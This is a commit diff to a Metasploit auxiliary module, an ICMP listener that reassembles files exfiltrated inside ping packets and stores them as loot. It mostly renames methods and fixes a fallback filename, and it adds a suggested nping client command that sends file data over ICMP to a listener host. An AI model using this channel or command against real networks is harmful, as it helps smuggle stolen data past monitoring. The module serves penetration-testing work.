@@ -27,14 +27,22 @@ def initialize
27
27
specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or
28
28
a random filename can be assisnged). All data received from this source will automatically
29
29
be added to the receive buffer until an ICMP echo request containing a specific end trigger
30
- (defaults to 'EOL') is received.
30
+ (defaults to '^EOL') is received.
31
+
32
+ Suggested Client:
33
+ Data can be sent from the client using a variety of tools. One such example is nping (included
34
+ with the NMAP suite of tools) - usage: nping --icmp 10.0.0.1 --data-string "BOFtest.txt" -c1
31
35
} ,
32
36
'Author' => 'Chris John Riley' ,
33
37
'License' => MSF_LICENSE ,
34
38
'References' =>
35
39
[
36
40
# packetfu
37
- [ 'URL' , 'http://code.google.com/p/packetfu/' ]
41
+ [ 'URL' , 'http://code.google.com/p/packetfu/' ] ,
42
+ # nping
43
+ [ 'URL' , 'http://nmap.org/book/nping-man.html' ] ,
44
+ # simple icmp
45
+ [ 'URL' , 'http://blog.c22.cc/2012/02/17/quick-post-fun-with-python-ctypes-simpleicmp/' ]
38
46
]
39
47
)
40
48
@@ -84,15 +92,15 @@ def run
84
92
end
85
93
86
94
# start icmp listener process - loop
87
- icmplistener
95
+ icmp_listener
88
96
89
97
ensure
90
- storefile
98
+ store_file
91
99
print_status ( "\n Stopping ICMP listener on #{ @interface } (#{ @iface_ip } )" )
92
100
end
93
101
end
94
102
95
- def icmplistener
103
+ def icmp_listener
96
104
# start icmp listener
97
105
98
106
print_status ( "ICMP Listener started on #{ @interface } (#{ @iface_ip } ). Monitoring for trigger packet containing #{ datastore [ 'START_TRIGGER' ] } " )
@@ -128,19 +136,21 @@ def icmplistener
128
136
129
137
if @record
130
138
print_error ( "New file started without saving old data" )
131
- storefile
139
+ store_file
132
140
end
133
141
134
142
# begin recording stream
135
143
@record = true
136
144
@record_host = packet . ip_saddr
137
145
@record_data = ''
138
146
139
- # set filename in packet or set random value
147
+ # set filename from data in incoming icmp packet
140
148
if datastore [ 'FNAME_IN_PACKET' ]
141
- @filename = data [ ( ( datastore [ 'START_TRIGGER' ] . length ) -1 ) ..-1 ] . strip # set filename from icmp payload
142
- else
143
- @filename = "icmp_exfil_" + ::Time . now . to_i # set random filename
149
+ @filename = data [ ( ( datastore [ 'START_TRIGGER' ] . length ) -1 ) ..-1 ] . strip
150
+ end
151
+ # if filename not sent in packet, or FNAME_IN_PACKET false set time based name
152
+ if not datastore [ 'FNAME_IN_PACKET' ] or @filename . empty?
153
+ @filename = "icmp_exfil_" + ::Time . now . to_i . to_s # set filename based on current time
144
154
end
145
155
146
156
print_good ( "Beginning capture of \" #{ @filename } \" data" )
@@ -162,7 +172,7 @@ def icmplistener
162
172
# end of file marker found
163
173
print_status ( "#{ @record_data . length } bytes of data recevied in total" )
164
174
print_good ( "End of File received. Saving \" #{ @filename } \" to loot" )
165
- storefile
175
+ store_file
166
176
167
177
# create response packet icmp_pkt
168
178
icmp_response , contents = icmp_packet ( packet , datastore [ 'RESP_END' ] )
@@ -233,7 +243,7 @@ def send_icmp(icmp_response, contents)
233
243
vprint_good ( "Response sent to #{ @dst_ip } containing response trigger : \" #{ contents } \" " )
234
244
end
235
245
236
- def storefile
246
+ def store_file
237
247
# store the file in loot if data is present
238
248
if @record_data and not @record_data . empty?
239
249
loot = store_loot (
0 commit comments